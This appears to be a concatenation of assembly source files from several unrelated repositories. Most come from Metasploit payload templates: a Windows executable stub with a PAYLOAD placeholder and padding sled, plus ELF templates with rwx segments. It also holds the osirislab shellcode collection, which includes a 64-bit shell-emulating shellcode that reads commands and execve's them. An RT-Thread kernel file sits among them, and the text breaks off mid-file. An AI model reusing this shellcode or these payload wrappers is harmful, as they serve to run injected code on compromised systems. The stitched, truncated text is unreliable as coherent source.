"PAYLOAD:\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314\314" xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx xorl %ecx,%ecx .text .globl _WinMain@16 .def _WinMain@16; .scl 2; .type 32; .endef _WinMain@16: movl $_code,%eax jmp %eax
OpenWireSec/metasploit
1,369
data/templates/src/elf/exe/elf_x86_template.s
; build with: ; nasm elf_x86_template.s -f bin -o template_x86_linux.bin BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident db 0, 0, 0, 0, 0, 0, 0, 0 ; dw 2 ; e_type = ET_EXEC for an executable dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type = PT_LOAD dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd 0xDEADBEEF ; p_filesz dd 0xDEADBEEF ; p_memsz dd 7 ; p_flags = rwx dd 0x1000 ; p_align phdrsize equ $ - phdr global _start _start:
OpenWireSec/metasploit
1,369
data/templates/src/elf/exe/elf_x86_solaris_template.s
; build with: ; nasm elf_x86_template.s -f bin -o template_x86_linux.bin BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident db 1, 0, 0, 0, 0, 0, 0, 0 ; dw 2 ; e_type = ET_EXEC for an executable dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type = PT_LOAD dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd 0xDEADBEEF ; p_filesz dd 0xDEADBEEF ; p_memsz dd 7 ; p_flags = rwx dd 0x1000 ; p_align phdrsize equ $ - phdr global _start _start:
OpenWireSec/metasploit
1,369
data/templates/src/elf/exe/elf_x86_bsd_template.s
; build with: ; nasm elf_x86_template.s -f bin -o template_x86_linux.bin BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident db 0, 0, 0, 0, 0, 0, 0, 0 ; dw 2 ; e_type = ET_EXEC for an executable dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type = PT_LOAD dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd 0xDEADBEEF ; p_filesz dd 0xDEADBEEF ; p_memsz dd 7 ; p_flags = rwx dd 0x1000 ; p_align phdrsize equ $ - phdr global _start _start:
OpenWireSec/metasploit
1,370
data/templates/src/elf/exe/elf_mipsle_template.s
; build with: ; nasm elf_mipsle_template.s -f bin -o template_mipsle_linux.bin BITS 32 org 0x00400000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident db 0, 0, 0, 0, 0, 0, 0, 0 ; dw 2 ; e_type = ET_EXEC for an executable dw 0x8 ; e_machine = MIPS dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type = PT_LOAD dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd 0xDEADBEEF ; p_filesz dd 0xDEADBEEF ; p_memsz dd 7 ; p_flags = rwx dd 0x1000 ; p_align phdrsize equ $ - phdr _start:
OpenWireSec/metasploit
1,363
data/templates/src/elf/exe/elf_armle_template.s
; build with: ; nasm elf_armle_template.s -f bin -o template_armle_linux.bin BITS 32 org 0x8000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident db 0, 0, 0, 0, 0, 0, 0, 0 ; dw 2 ; e_type = ET_EXEC for an executable dw 0x28 ; e_machine = ARM dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type = PT_LOAD dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd 0xDEADBEEF ; p_filesz dd 0xDEADBEEF ; p_memsz dd 7 ; p_flags = rwx dd 0x1000 ; p_align phdrsize equ $ - phdr _start:
OSH-2025/oooooS
7,122
src/nano-kernel/libcpu/context_gcc.S
/* * Copyright (c) 2006-2022, RT-Thread Development Team * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2009-10-11 Bernard first version * 2012-01-01 aozima support context switch load/store FPU register. * 2013-06-18 aozima add restore MSP feature. * 2013-06-23 aozima support lazy stack optimized. * 2018-07-24 aozima enhancement hard fault exception handler. */ /** * @addtogroup cortex-m4 */ /*@{*/ .cpu cortex-m4 .syntax unified .thumb .text .equ SCB_VTOR, 0xE000ED08 /* Vector Table Offset Register */ .equ NVIC_INT_CTRL, 0xE000ED04 /* interrupt control state register */ .equ NVIC_SYSPRI2, 0xE000ED20 /* system priority register (2) */ .equ NVIC_PENDSV_PRI, 0xFFFF0000 /* PendSV and SysTick priority value (lowest) */ .equ NVIC_PENDSVSET, 0x10000000 /* value to trigger PendSV exception */ /* * rt_base_t rt_hw_interrupt_disable(); */ .global rt_hw_interrupt_disable .type rt_hw_interrupt_disable, %function rt_hw_interrupt_disable: MRS r0, PRIMASK CPSID I BX LR /* * void rt_hw_interrupt_enable(rt_base_t level); */ .global rt_hw_interrupt_enable .type rt_hw_interrupt_enable, %function rt_hw_interrupt_enable: MSR PRIMASK, r0 BX LR /* * void rt_hw_context_switch(rt_uint32 from, rt_uint32 to); * r0 --> from * r1 --> to */ .global rt_hw_context_switch_interrupt .type rt_hw_context_switch_interrupt, %function .global rt_hw_context_switch .type rt_hw_context_switch, %function rt_hw_context_switch_interrupt: rt_hw_context_switch: /* set rt_thread_switch_interrupt_flag to 1 */ LDR r2, =rt_thread_switch_interrupt_flag LDR r3, [r2] CMP r3, #1 BEQ _reswitch MOV r3, #1 STR r3, [r2] LDR r2, =rt_interrupt_from_thread /* set rt_interrupt_from_thread */ STR r0, [r2] _reswitch: LDR r2, =rt_interrupt_to_thread /* set rt_interrupt_to_thread */ STR r1, [r2] LDR r0, =NVIC_INT_CTRL /* trigger the PendSV exception (causes context switch) */ LDR r1, =NVIC_PENDSVSET STR r1, [r0] BX LR /* r0 --> switch from thread stack * r1 --> switch to thread stack * psr, pc, lr, r12, r3, r2, r1, r0 are pushed into [from] stack */ .global PendSV_Handler .type PendSV_Handler, %function PendSV_Handler: /* disable interrupt to protect context switch */ MRS r2, PRIMASK CPSID I /* get rt_thread_switch_interrupt_flag */ LDR r0, =rt_thread_switch_interrupt_flag LDR r1, [r0] CBZ r1, pendsv_exit /* pendsv already handled */ /* clear rt_thread_switch_interrupt_flag to 0 */ MOV r1, #0x00 STR r1, [r0] LDR r0, =rt_interrupt_from_thread LDR r1, [r0] CBZ r1, switch_to_thread /* skip register save at the first time */ MRS r1, psp /* get from thread stack pointer */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) TST lr, #0x10 /* if(!EXC_RETURN[4]) */ IT EQ VSTMDBEQ r1!, {d8 - d15} /* push FPU register s16~s31 */ #endif STMFD r1!, {r4 - r11} /* push r4 - r11 register */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) MOV r4, #0x00 /* flag = 0 */ TST lr, #0x10 /* if(!EXC_RETURN[4]) */ IT EQ MOVEQ r4, #0x01 /* flag = 1 */ STMFD r1!, {r4} /* push flag */ #endif LDR r0, [r0] STR r1, [r0] /* update from thread stack pointer */ switch_to_thread: LDR r1, =rt_interrupt_to_thread LDR r1, [r1] LDR r1, [r1] /* load thread stack pointer */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) LDMFD r1!, {r3} /* pop flag */ #endif LDMFD r1!, {r4 - r11} /* pop r4 - r11 register */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) CMP r3, #0 /* if(flag_r3 != 0) */ IT NE VLDMIANE r1!, {d8 - d15} /* pop FPU register s16~s31 */ #endif MSR psp, r1 /* update stack pointer */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) ORR lr, lr, #0x10 /* lr |= (1 << 4), clean FPCA. */ CMP r3, #0 /* if(flag_r3 != 0) */ IT NE BICNE lr, lr, #0x10 /* lr &= ~(1 << 4), set FPCA. */ #endif pendsv_exit: /* restore interrupt */ MSR PRIMASK, r2 ORR lr, lr, #0x04 BX lr /* * void rt_hw_context_switch_to(rt_uint32 to); * r0 --> to */ .global rt_hw_context_switch_to .type rt_hw_context_switch_to, %function rt_hw_context_switch_to: LDR r1, =rt_interrupt_to_thread STR r0, [r1] #if defined (__VFP_FP__) && !defined(__SOFTFP__) /* CLEAR CONTROL.FPCA */ MRS r2, CONTROL /* read */ BIC r2, #0x04 /* modify */ MSR CONTROL, r2 /* write-back */ #endif /* set from thread to 0 */ LDR r1, =rt_interrupt_from_thread MOV r0, #0x0 STR r0, [r1] /* set interrupt flag to 1 */ LDR r1, =rt_thread_switch_interrupt_flag MOV r0, #1 STR r0, [r1] /* set the PendSV and SysTick exception priority */ LDR r0, =NVIC_SYSPRI2 LDR r1, =NVIC_PENDSV_PRI LDR.W r2, [r0,#0x00] /* read */ ORR r1,r1,r2 /* modify */ STR r1, [r0] /* write-back */ LDR r0, =NVIC_INT_CTRL /* trigger the PendSV exception (causes context switch) */ LDR r1, =NVIC_PENDSVSET STR r1, [r0] /* restore MSP */ LDR r0, =SCB_VTOR LDR r0, [r0] LDR r0, [r0] NOP MSR msp, r0 /* enable interrupts at processor level */ CPSIE F CPSIE I /* ensure PendSV exception taken place before subsequent operation */ DSB ISB /* never reach here! */ /* compatible with old version */ .global rt_hw_interrupt_thread_switch .type rt_hw_interrupt_thread_switch, %function rt_hw_interrupt_thread_switch: BX lr NOP .global HardFault_Handler .type HardFault_Handler, %function HardFault_Handler: /* get current context */ MRS r0, msp /* get fault context from handler. */ TST lr, #0x04 /* if(!EXC_RETURN[2]) */ BEQ _get_sp_done MRS r0, psp /* get fault context from thread. */ _get_sp_done: STMFD r0!, {r4 - r11} /* push r4 - r11 register */ #if defined (__VFP_FP__) && !defined(__SOFTFP__) STMFD r0!, {lr} /* push dummy for flag */ #endif STMFD r0!, {lr} /* push exec_return register */ TST lr, #0x04 /* if(!EXC_RETURN[2]) */ BEQ _update_msp MSR psp, r0 /* update stack pointer to PSP. */ B _update_done _update_msp: MSR msp, r0 /* update stack pointer to MSP. */ _update_done: PUSH {LR} BL rt_hw_hard_fault_exception POP {LR} ORR lr, lr, #0x04 BX lr
osirislab/Shellcode
1,897
64shellEmulator/shell64.s
;;; Evan Jensen 32bit shell emulating shellcode ;;; ;;; RDI, RSI, RDX, RCX, R8, and R9 then stack %include "short64.s" %include "syscall.s" %define BUFFERLEN 0x1f8 global main main: do_fork: push byte fork pop rax SYSTEM_CALL test rax,rax jz child parent: push wait4 pop rax xor rdi,rdi ;pid xor rsi,rsi ;status xor rdx,rdx ;options xor rcx,rcx ;struct rusage*=NULL SYSTEM_CALL ;wait(0,0,0,0); jmp main child: cld get_input: xor rax,rax cdq mov dx,BUFFERLEN ;size of read sub rsp,rdx ;make some room on the stack mov rsi,rsp ;use new stack space as buffer for read xor rdi,rdi ;fd mov al,read SYSTEM_CALL ;read into stack buffer mov rbp,rax ;save len of str_read test rax,rax ;we must read more than 0 bytes jz do_exit ;synchronous IO or GTFO mov byte [rax+rsp-1],0 ;replace newline with nullbyte push rax ;save strlen on the stack ;; let's parse the arguments here pop rcx ;return of read pushed by get_input push byte " " ;delimiter pop rax ;we're going to inline a strchr mov rbx,rsp ;rbx is the buffer xor rdx,rdx add rsp,BUFFERLEN ;rsp is now going to be argv add_token: ;; calculate the pointer to push mov rsi,rbp ;number of chars in buffer sub rsi,rcx ;subtract number of chars left in buffer ;rcx is modified by the repne scasb instruction lea rdi,[rbx + rsi] ;rdi points to current token mov [rsp+rdx*8], rdi ;save the current token pointer building argv inc rdx ;increment index into argv repne scasb mov rsi,rbp sub rsi,rcx mov byte[rbx+rsi-1],0 ;null terminate each token (strtok) test rcx,rcx jz exec jmp short add_token exec: xor rax,rax mov [rsp+rdx*8],rax cdq mov al,execve mov rdi,rbx mov rsi,rsp ;; rdx=null SYSTEM_CALL ;execve(cmd,args,environ=NULL); do_exit:;; exit nicely if anything fails push byte exit pop rax xor rdi,rdi SYSTEM_CALL
osirislab/Shellcode
2,031
include/util.s
%define htonq(x) (\ (((x) & 0x00000000000000ff) << 56) | \ (((x) & 0x000000000000ff00) << 40) | \ (((x) & 0x0000000000ff0000) << 24) | \ (((x) & 0x00000000ff000000) << 8) | \ (((x) & 0x000000ff00000000) >> 8) | \ (((x) & 0x0000ff0000000000) >> 24) | \ (((x) & 0x00ff000000000000) >> 40) | \ (((x) & 0xff00000000000000) >> 56)) %define htonl(x) (\ (((x) & 0x000000ff) << 24) | \ (((x) & 0x0000ff00) << 8) | \ (((x) & 0x00ff0000) >> 8) | \ (((x) & 0xff000000) >> 24)) %define htons(x) ((((x) & 0xff00) >> 8) | (((x) & 0x00ff) << 8)) %define ip(a,b,c,d) htonl(a << 24 | b << 16 | c << 8 | d) ; ip(127,0,0,1) %define htonx(x) \ %if __BITS__==16 \ htons(x) \ %elif __BITS__==32 \ htonl(x) \ %elif __BITS__==64 \ htonq(x) \ %elif \ %error "__BITS__ is not 16, 32 or 64" \ %endif %macro str_null_check 1 %assign word_length __BITS__/8 %strlen len_arg %1 %if len_arg % word_length!=0 %fatal "Make string a multiple of the word length" %endif %endmacro %macro str_null_check 2 %assign word_length %2/8 %strlen len_arg %1 %if len_arg % word_length!=0 %fatal "Make string a multiple of the word length" %endif %endmacro ;; The PUSH_STRING macros don't null terminate the string ;; arguments must be known at assemble time %macro PUSH_STRING 2 ;string, bitcount str_null_check %1 %2 %assign word_length %2/8 %strlen string_length %1 %assign num_pushes string_length/word_length %assign index string_length %rep num_pushes %substr slice %1 index-word_length+1,word_length %assign index index-word_length push slice %warning push slice %endrep %endmacro %macro PUSH_STRING 1 ;string str_null_check %1 %assign word_length __BITS__/8 %strlen string_length %1 %assign num_pushes string_length/word_length %assign index string_length %rep num_pushes %substr slice %1 index-word_length+1,word_length %assign index index-word_length push slice %warning push slice %endrep %endmacro
osirislab/Shellcode
7,082
include/short64.s
BITS 64 %define read 0 %define write 1 %define open 2 %define close 3 %define stat 4 %define fstat 5 %define lstat 6 %define poll 7 %define lseek 8 %define mmap 9 %define mprotect 10 %define munmap 11 %define brk 12 %define rt_sigaction 13 %define rt_sigprocmask 14 %define rt_sigreturn 15 %define ioctl 16 %define pread64 17 %define pwrite64 18 %define readv 19 %define writev 20 %define access 21 %define pipe 22 %define select 23 %define sched_yield 24 %define mremap 25 %define msync 26 %define mincore 27 %define madvise 28 %define shmget 29 %define shmat 30 %define shmctl 31 %define dup 32 %define dup2 33 %define pause 34 %define nanosleep 35 %define getitimer 36 %define alarm 37 %define setitimer 38 %define getpid 39 %define sendfile 40 %define socket 41 %define connect 42 %define accept 43 %define sendto 44 %define recvfrom 45 %define sendmsg 46 %define recvmsg 47 %define shutdown 48 %define bind 49 %define listen 50 %define getsockname 51 %define getpeername 52 %define socketpair 53 %define setsockopt 54 %define getsockopt 55 %define clone 56 %define fork 57 %define vfork 58 %define execve 59 %define exit 60 %define wait4 61 %define kill 62 %define uname 63 %define semget 64 %define semop 65 %define semctl 66 %define shmdt 67 %define msgget 68 %define msgsnd 69 %define msgrcv 70 %define msgctl 71 %define fcntl 72 %define flock 73 %define fsync 74 %define fdatasync 75 %define truncate 76 %define ftruncate 77 %define getdents 78 %define getcwd 79 %define chdir 80 %define fchdir 81 %define rename 82 %define mkdir 83 %define rmdir 84 %define creat 85 %define link 86 %define unlink 87 %define symlink 88 %define readlink 89 %define chmod 90 %define fchmod 91 %define chown 92 %define fchown 93 %define lchown 94 %define umask 95 %define gettimeofday 96 %define getrlimit 97 %define getrusage 98 %define sysinfo 99 %define times 100 %define ptrace 101 %define getuid 102 %define syslog 103 %define getgid 104 %define setuid 105 %define setgid 106 %define geteuid 107 %define getegid 108 %define setpgid 109 %define getppid 110 %define getpgrp 111 %define setsid 112 %define setreuid 113 %define setregid 114 %define getgroups 115 %define setgroups 116 %define setresuid 117 %define getresuid 118 %define setresgid 119 %define getresgid 120 %define getpgid 121 %define setfsuid 122 %define setfsgid 123 %define getsid 124 %define capget 125 %define capset 126 %define rt_sigpending 127 %define rt_sigtimedwait 128 %define rt_sigqueueinfo 129 %define rt_sigsuspend 130 %define sigaltstack 131 %define utime 132 %define mknod 133 %define uselib 134 %define personality 135 %define ustat 136 %define statfs 137 %define fstatfs 138 %define sysfs 139 %define getpriority 140 %define setpriority 141 %define sched_setparam 142 %define sched_getparam 143 %define sched_setscheduler 144 %define sched_getscheduler 145 %define sched_get_priority_max 146 %define sched_get_priority_min 147 %define sched_rr_get_interval 148 %define mlock 149 %define munlock 